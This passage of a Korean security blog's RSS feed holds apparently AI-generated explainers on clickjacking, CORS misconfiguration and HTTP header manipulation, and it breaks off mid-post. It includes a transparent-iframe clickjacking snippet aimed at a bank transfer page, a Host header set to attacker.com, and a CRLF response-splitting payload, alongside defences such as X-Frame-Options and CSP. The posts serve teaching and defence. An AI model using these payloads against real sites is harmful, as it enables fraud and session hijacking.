&lt;h3 data-end=&quot;710&quot; data-start=&quot;691&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ 금융/결제 클릭 유도&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;765&quot; data-start=&quot;711&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;739&quot; data-start=&quot;711&quot;&gt;은행 이체/결제 버튼 위에 공격자 UI 덮음&lt;/li&gt;
&lt;li data-end=&quot;765&quot; data-start=&quot;740&quot;&gt;사용자가 클릭 &amp;rarr; 돈이 공격자 계좌로 이체&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;770&quot; data-start=&quot;767&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;788&quot; data-start=&quot;772&quot;&gt;  4. 공격 구현 방법&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;style&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;#victim&lt;/span&gt;&lt;/span&gt;&lt;span&gt; { &lt;/span&gt;&lt;span&gt;&lt;span&gt;opacity&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;&lt;span&gt;/* 보이지 않게 */&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;position&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:absolute; &lt;/span&gt;&lt;span&gt;&lt;span&gt;z-index&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; } &lt;/span&gt;&lt;span&gt;&lt;span&gt;#attacker&lt;/span&gt;&lt;/span&gt;&lt;span&gt; { &lt;/span&gt;&lt;span&gt;&lt;span&gt;position&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:absolute; &lt;/span&gt;&lt;span&gt;&lt;span&gt;z-index&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; } &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;style&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;div&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;attacker&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;무료 쿠폰 버튼&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;div&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;iframe&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;victim&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;src&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;https://bank.com/transfer&quot;&gt;https://bank.com/transfer&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;iframe&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1076&quot; data-start=&quot;1045&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1076&quot; data-start=&quot;1045&quot;&gt;투명 iframe을 공격자가 만든 버튼 위에 겹쳐놓음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1081&quot; data-start=&quot;1078&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1096&quot; data-start=&quot;1083&quot;&gt;  5. 방어 방법&lt;/h1&gt;
&lt;h3 data-end=&quot;1108&quot; data-start=&quot;1098&quot; data-ke-size=&quot;size23&quot;&gt;✔ 서버 측&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1413&quot; data-start=&quot;1109&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1254&quot; data-start=&quot;1109&quot;&gt;&lt;b&gt;X-Frame-Options 헤더 설정&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1254&quot; data-start=&quot;1141&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1166&quot; data-start=&quot;1141&quot;&gt;DENY &amp;rarr; iframe 완전 차단&lt;/li&gt;
&lt;li data-end=&quot;1199&quot; data-start=&quot;1170&quot;&gt;SAMEORIGIN &amp;rarr; 같은 도메인만 허용&lt;/li&gt;
&lt;li data-end=&quot;1254&quot; data-start=&quot;1203&quot;&gt;예:&lt;/li&gt;
&lt;li data-end=&quot;1254&quot; data-start=&quot;1215&quot;&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;X&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;Frame&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;Options&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;DENY&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1413&quot; data-start=&quot;1256&quot;&gt;&lt;b&gt;Content-Security-Policy(CSP) frame-ancestors 설정&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1413&quot; data-start=&quot;1314&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1331&quot; data-start=&quot;1314&quot;&gt;iframe 허용 출처 제한&lt;/li&gt;
&lt;li data-end=&quot;1413&quot; data-start=&quot;1335&quot;&gt;예:&lt;/li&gt;
&lt;li data-end=&quot;1413&quot; data-start=&quot;1347&quot;&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Content&lt;/span&gt;&lt;/span&gt;&lt;span&gt;-Security-Policy: frame-ancestors &lt;/span&gt;&lt;span&gt;&lt;span&gt;'self'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-end=&quot;1428&quot; data-start=&quot;1415&quot; data-ke-size=&quot;size23&quot;&gt;✔ 클라이언트 측&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1486&quot; data-start=&quot;1429&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1460&quot; data-start=&quot;1429&quot;&gt;중요 버튼 클릭 전 &lt;b&gt;추가 확인&lt;/b&gt; (2단계 확인)&lt;/li&gt;
&lt;li data-end=&quot;1486&quot; data-start=&quot;1461&quot;&gt;민감 기능은 iframe에서 실행하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1504&quot; data-start=&quot;1488&quot; data-ke-size=&quot;size23&quot;&gt;✔ WAF / 보안관제&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1571&quot; data-start=&quot;1505&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1539&quot; data-start=&quot;1505&quot;&gt;iframe embedding 관련 응답 헤더 미설정 탐지&lt;/li&gt;
&lt;li data-end=&quot;1571&quot; data-start=&quot;1540&quot;&gt;외부에서 민감 URL iframe 호출 패턴 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1576&quot; data-start=&quot;1573&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1590&quot; data-start=&quot;1578&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1690&quot; data-start=&quot;1591&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Clickjacking = 사용자가 클릭하는 UI를 속여, 자신이 의도하지 않은 동작을 수행하게 만드는 공격으로, X-Frame-Options와 CSP로 방어할 수 있다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/352</guid>
      <comments>https://toastfactory.tistory.com/352#entry352comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:26:24 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] CORS(Cross-Origin Resource Sharing)란?</title>
      <link>https://toastfactory.tistory.com/351</link>
      <description>&lt;p data-end=&quot;78&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**CORS Misconfiguration(CORS 설정 오류)**를 정리해줄게.&lt;/p&gt;
&lt;hr data-end=&quot;83&quot; data-start=&quot;80&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;130&quot; data-start=&quot;85&quot;&gt;  1. CORS(Cross-Origin Resource Sharing)란?&lt;/h1&gt;
&lt;p data-end=&quot;223&quot; data-start=&quot;132&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;CORS는 &lt;b&gt;웹 브라우저가 다른 도메인의 리소스에 접근할 수 있게 허용할지 결정하는 정책&lt;/b&gt;이야.&lt;br /&gt;브라우저에서만 강제되고, 서버에서 설정함.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;335&quot; data-start=&quot;225&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;255&quot; data-start=&quot;225&quot;&gt;출처(origin) = 프로토콜 + 도메인 + 포트&lt;/li&gt;
&lt;li data-end=&quot;312&quot; data-start=&quot;256&quot;&gt;같은 출처 정책(Same-Origin Policy) 때문에, 기본적으로 다른 도메인 요청은 차단됨&lt;/li&gt;
&lt;li data-end=&quot;335&quot; data-start=&quot;313&quot;&gt;서버가 명시적으로 허용해야 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;340&quot; data-start=&quot;337&quot; data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;Access-Control-Allow-Origin: https:&lt;/span&gt;&lt;span&gt;&lt;span&gt;//example.com&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;402&quot; data-start=&quot;399&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;436&quot; data-start=&quot;404&quot;&gt;  2. CORS Misconfiguration이란?&lt;/h1&gt;
&lt;p data-end=&quot;523&quot; data-start=&quot;438&quot; data-ke-size=&quot;size16&quot;&gt;CORS Misconfiguration은 &lt;b&gt;서버가 CORS 정책을 잘못 설정해서 공격자가 다른 출처에서 민감 데이터에 접근할 수 있는 상황&lt;/b&gt;을 말해.&lt;/p&gt;
&lt;p data-end=&quot;527&quot; data-start=&quot;525&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;567&quot; data-start=&quot;529&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;서버가 너무 느슨하게 허용하거나, 악성 출처도 허용하는 상태&amp;rdquo;&lt;/p&gt;
&lt;hr data-end=&quot;572&quot; data-start=&quot;569&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;593&quot; data-start=&quot;574&quot;&gt;  3. 대표적인 잘못된 설정&lt;/h1&gt;
&lt;p data-end=&quot;613&quot; data-start=&quot;595&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;모든 출처 허용&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Access-Control-Allow-Origin: *&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;701&quot; data-start=&quot;653&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;676&quot; data-start=&quot;653&quot;&gt;인증 쿠키/토큰이 필요한 API는 위험&lt;/li&gt;
&lt;li data-end=&quot;701&quot; data-start=&quot;677&quot;&gt;외부 사이트에서 사용자 데이터 탈취 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;724&quot; data-start=&quot;703&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;동적 허용 잘못 구현&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;origin&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = request.headers[&lt;/span&gt;&lt;span&gt;&lt;span&gt;'Origin'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;&lt;span&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = origin &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;839&quot; data-start=&quot;805&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;839&quot; data-start=&quot;805&quot;&gt;검증 없이 모든 Origin 반영 &amp;rarr; 공격자 사이트도 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;878&quot; data-start=&quot;841&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;자격 증명(Credentials)과 * 같이 허용&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Access-Control-Allow-Credentials:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;Access-Control-Allow-Origin:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;998&quot; data-start=&quot;957&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;998&quot; data-start=&quot;957&quot;&gt;브라우저가 인증 쿠키/세션까지 공격자 사이트에 전송 &amp;rarr; 계정 탈취 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1020&quot; data-start=&quot;1000&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;잘못된 허용 도메인&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1073&quot; data-start=&quot;1021&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1073&quot; data-start=&quot;1021&quot;&gt;*.example.com을 허용하면서 evil.example.com도 포함되는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1078&quot; data-start=&quot;1075&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1095&quot; data-start=&quot;1080&quot;&gt;  4. 공격 시나리오&lt;/h1&gt;
&lt;h3 data-end=&quot;1114&quot; data-start=&quot;1097&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ 사용자 세션 탈취&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1193&quot; data-start=&quot;1115&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1139&quot; data-start=&quot;1115&quot;&gt;공격자가 악성 사이트에서 JS를 실행&lt;/li&gt;
&lt;li data-end=&quot;1175&quot; data-start=&quot;1140&quot;&gt;느슨한 CORS 허용 &amp;rarr; victim 사이트 API 호출&lt;/li&gt;
&lt;li data-end=&quot;1193&quot; data-start=&quot;1176&quot;&gt;쿠키/세션이 공격자에게 노출&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1211&quot; data-start=&quot;1195&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ 민감 정보 노출&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1243&quot; data-start=&quot;1212&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1243&quot; data-start=&quot;1212&quot;&gt;API가 JSON으로 반환하는 사용자 정보 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1258&quot; data-start=&quot;1245&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ 권한 우회&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1295&quot; data-start=&quot;1259&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1295&quot; data-start=&quot;1259&quot;&gt;공격자가 자신의 Origin에서 관리자 전용 API 호출 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1300&quot; data-start=&quot;1297&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1315&quot; data-start=&quot;1302&quot;&gt;  5. 방어 방법&lt;/h1&gt;
&lt;h3 data-end=&quot;1343&quot; data-start=&quot;1317&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) Origin 화이트리스트만 허용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1366&quot; data-start=&quot;1344&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1366&quot; data-start=&quot;1344&quot;&gt;반드시 신뢰할 수 있는 도메인만 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1405&quot; data-start=&quot;1368&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) Credentials + Origin * 조합 금지&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1474&quot; data-start=&quot;1406&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1474&quot; data-start=&quot;1406&quot;&gt;Access-Control-Allow-Origin과 Allow-Credentials: true를 함께 쓰지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1498&quot; data-start=&quot;1476&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 서버에서 인증/권한 확인&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1533&quot; data-start=&quot;1499&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1533&quot; data-start=&quot;1499&quot;&gt;CORS는 브라우저 정책일 뿐, 서버 측 권한 검증은 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1565&quot; data-start=&quot;1535&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) 프리플라이트(OPTIONS) 요청 검증&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1586&quot; data-start=&quot;1566&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1586&quot; data-start=&quot;1566&quot;&gt;허용되지 않은 메소드/헤더는 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1605&quot; data-start=&quot;1588&quot; data-ke-size=&quot;size23&quot;&gt;✔ 5) 개발 단계 점검&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1642&quot; data-start=&quot;1606&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1642&quot; data-start=&quot;1606&quot;&gt;OWASP CORS Security Cheat Sheet 참고&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1647&quot; data-start=&quot;1644&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1661&quot; data-start=&quot;1649&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1754&quot; data-start=&quot;1662&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CORS Misconfiguration = 서버가 잘못된 출처 허용으로 공격자가 브라우저를 통해 다른 도메인에서 민감 데이터에 접근할 수 있게 되는 취약점&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/351</guid>
      <comments>https://toastfactory.tistory.com/351#entry351comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:25:53 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] TTP 헤더 조작(HTTP Header Manipulation)이란?</title>
      <link>https://toastfactory.tistory.com/350</link>
      <description>&lt;p data-end=&quot;139&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**HTTP 헤더 조작(HTTP Header Manipulation)**이란&lt;br /&gt;공격자가 요청(Request) 또는 응답(Response)의 &lt;b&gt;HTTP 헤더 값을 변조하거나 악의적으로 주입하여&lt;/b&gt;&lt;br /&gt;원래 의도와 다르게 동작하도록 만드는 공격이야.&lt;/p&gt;
&lt;p data-end=&quot;143&quot; data-start=&quot;141&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;187&quot; data-start=&quot;145&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;헤더에 악성값을 넣어 서버/클라이언트의 동작을 꼬이게 하는 공격&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;227&quot; data-start=&quot;189&quot; data-ke-size=&quot;size16&quot;&gt;웹 보안에서 매우 흔하게 발생하며, 다양한 공격으로 이어질 수 있어.&lt;/p&gt;
&lt;hr data-end=&quot;232&quot; data-start=&quot;229&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;257&quot; data-start=&quot;234&quot;&gt;  1. 어떤 헤더가 조작 대상일까?&lt;/h1&gt;
&lt;h3 data-end=&quot;279&quot; data-start=&quot;259&quot; data-ke-size=&quot;size23&quot;&gt;요청(Request) 헤더&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;392&quot; data-start=&quot;280&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;294&quot; data-start=&quot;280&quot;&gt;User-Agent&lt;/li&gt;
&lt;li data-end=&quot;306&quot; data-start=&quot;295&quot;&gt;Referer&lt;/li&gt;
&lt;li data-end=&quot;315&quot; data-start=&quot;307&quot;&gt;Host&lt;/li&gt;
&lt;li data-end=&quot;326&quot; data-start=&quot;316&quot;&gt;Cookie&lt;/li&gt;
&lt;li data-end=&quot;346&quot; data-start=&quot;327&quot;&gt;X-Forwarded-For&lt;/li&gt;
&lt;li data-end=&quot;363&quot; data-start=&quot;347&quot;&gt;Content-Type&lt;/li&gt;
&lt;li data-end=&quot;392&quot; data-start=&quot;364&quot;&gt;인증 토큰(JWT, Bearer Token)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;415&quot; data-start=&quot;394&quot; data-ke-size=&quot;size23&quot;&gt;응답(Response) 헤더&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;505&quot; data-start=&quot;416&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;428&quot; data-start=&quot;416&quot;&gt;Location&lt;/li&gt;
&lt;li data-end=&quot;443&quot; data-start=&quot;429&quot;&gt;Set-Cookie&lt;/li&gt;
&lt;li data-end=&quot;471&quot; data-start=&quot;444&quot;&gt;Content-Security-Policy&lt;/li&gt;
&lt;li data-end=&quot;505&quot; data-start=&quot;472&quot;&gt;Access-Control-Allow-Origin 등&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;510&quot; data-start=&quot;507&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;536&quot; data-start=&quot;512&quot;&gt;  2. 대표적인 헤더 조작 공격 유형&lt;/h1&gt;
&lt;h2 data-end=&quot;570&quot; data-start=&quot;538&quot; data-ke-size=&quot;size26&quot;&gt;1️⃣ &lt;b&gt;Host Header Injection&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;597&quot; data-start=&quot;571&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 Host 헤더를 변조해서 다음을 유발:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;640&quot; data-start=&quot;598&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;614&quot; data-start=&quot;598&quot;&gt;비밀번호 재설정 링크 탈취&lt;/li&gt;
&lt;li data-end=&quot;630&quot; data-start=&quot;615&quot;&gt;내부 호스트로 요청 우회&lt;/li&gt;
&lt;li data-end=&quot;640&quot; data-start=&quot;631&quot;&gt;SSRF 유발&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;GET&lt;/span&gt;&lt;/span&gt;&lt;span&gt; / HTTP/&lt;/span&gt;&lt;span&gt;&lt;span&gt;1.1&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;Host:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; attacker.com &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;718&quot; data-start=&quot;684&quot; data-ke-size=&quot;size26&quot;&gt;2️⃣ &lt;b&gt;HTTP Response Splitting&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;790&quot; data-start=&quot;719&quot; data-ke-size=&quot;size16&quot;&gt;헤더에 개행문자(\r\n)를 삽입해 서버 응답을 둘로 쪼개는 공격&lt;br /&gt;&amp;rarr; XSS, 캐시 오염(Cache Poisoning) 발생&lt;/p&gt;
&lt;p data-end=&quot;794&quot; data-start=&quot;792&quot; data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;GET&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;span&gt;&lt;span&gt;?n&lt;/span&gt;&lt;/span&gt;&lt;span&gt;ame=abc%0d%0aSet-&lt;/span&gt;&lt;span&gt;&lt;span&gt;Cookie&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;:session=hack&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;878&quot; data-start=&quot;848&quot; data-ke-size=&quot;size26&quot;&gt;3️⃣ &lt;b&gt;Cookie Manipulation&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;905&quot; data-start=&quot;879&quot; data-ke-size=&quot;size16&quot;&gt;클라이언트가 쿠키 값을 변조해서 인증/세션 우회&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
